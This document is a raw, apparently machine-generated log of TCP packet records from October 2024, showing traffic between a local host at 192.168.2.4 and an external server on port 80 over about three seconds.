Oct 8, 2024 02:45:40.494716883 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.494750023 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.494759083 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.494787931 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.494792938 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.494816065 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.494832993 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.494856119 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.592998981 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593156099 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593185902 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593194962 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593219995 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593224049 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593224049 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593254089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593278885 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593286037 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593296051 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593319893 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593327045 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593353033 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.593368053 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.593395948 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.594058037 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594116926 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.594186068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594233990 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.594314098 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594347000 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594398022 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594429016 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594460011 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.594544888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693167925 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693203926 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693237066 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693269968 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693272114 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693351984 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693352938 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693535089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693568945 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693593979 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693610907 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693619013 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693650961 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693662882 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693684101 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693692923 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693717003 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.693726063 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.693758011 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.694226980 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.694278002 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.694278955 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.694309950 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.694319010 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.694344044 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.694351912 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.694386005 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.783663988 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.783755064 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:40.783799887 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:40.783936977 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.086447954 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.086646080 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.086754084 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.086818933 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.314776897 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.314829111 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.314865112 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.314877987 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.314920902 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.314920902 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.405318975 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.405404091 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.405443907 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.405479908 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406359911 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406414032 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406440973 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406451941 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406464100 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406519890 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406582117 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406615973 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406636953 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406649113 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406668901 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406687975 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.406701088 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.406748056 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.407057047 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.407110929 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.407119036 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.407166004 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508136034 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508176088 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508224010 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508228064 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508260012 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508269072 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508275986 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508310080 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508316994 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508342028 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508352041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508374929 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508383989 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508407116 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508418083 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508440971 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.508449078 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.508483887 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.509085894 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.509134054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.509187937 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.509222031 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.509236097 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.509264946 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599714994 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599766970 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599796057 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599798918 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599824905 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599833012 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599852085 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599867105 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599883080 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599915981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.599948883 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.599981070 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600004911 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600030899 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600064039 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600064039 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600085974 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600099087 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600116014 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600131989 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600147963 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600182056 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600831985 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600884914 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.600912094 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.600959063 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.697761059 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.697885990 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.697913885 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.697921038 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.697948933 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.697953939 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.697962999 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.697987080 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.697992086 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698019028 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698033094 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698052883 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698057890 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698086023 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698095083 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698118925 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698132038 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698156118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698164940 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698195934 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698662043 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698715925 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698717117 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698751926 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.698765039 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.698797941 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796237946 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796294928 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796336889 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796370029 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796402931 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796435118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796478033 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796504021 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796508074 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796535969 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796549082 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796583891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796587944 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796621084 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796638012 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796658039 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.796669006 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.796700001 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.797132015 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.797166109 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.797178030 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.797200918 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.797209024 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.797230959 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:41.797246933 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:41.797275066 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.187733889 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.187761068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.188005924 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.441967964 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.441994905 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.442011118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.442025900 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.442416906 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.536523104 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.536556005 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.536572933 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.536587000 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.536595106 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.536603928 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.536633968 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.536652088 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.537672043 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.537713051 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.537786961 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666419983 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666446924 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666462898 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666474104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666495085 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666503906 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666635990 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666651964 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666667938 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666672945 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666688919 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666704893 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666924000 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666939974 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666960001 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666970968 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666973114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.666980982 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.666996002 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667011976 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667366028 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667381048 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667397976 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667407036 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667414904 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667424917 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667439938 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667442083 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667454958 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667454958 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.667470932 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.667486906 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.772609949 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772658110 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772681952 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772699118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772713900 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772731066 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772773981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.772773981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.772808075 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772823095 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772838116 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.772847891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.772847891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.772871971 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.773519993 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.773565054 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.773567915 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.773580074 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.773611069 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.773600101 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.773618937 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.773644924 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.774169922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.774214029 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.872504950 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872522116 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872536898 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872592926 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872608900 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872612000 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.872622967 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872638941 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872653008 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.872653961 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.872690916 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.872690916 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.873430967 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873446941 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873461008 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873476982 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873490095 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.873490095 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.873491049 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873506069 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.873514891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.873547077 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.873547077 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.874155045 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.874193907 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.973210096 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.973308086 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:42.973340988 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:42.973370075 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.264339924 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.264364004 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.264564037 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.541971922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.542021990 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.542117119 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.542160988 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.542160988 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.542597055 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.657433033 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.657605886 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.657880068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.657933950 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658318996 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658370018 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658374071 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658410072 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658421040 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658454895 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658463001 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658497095 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658505917 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658530951 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.658536911 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.658574104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.661366940 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.661420107 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748552084 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748606920 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748624086 CEST	80	51294	147.45.44.104	192.168.2.4
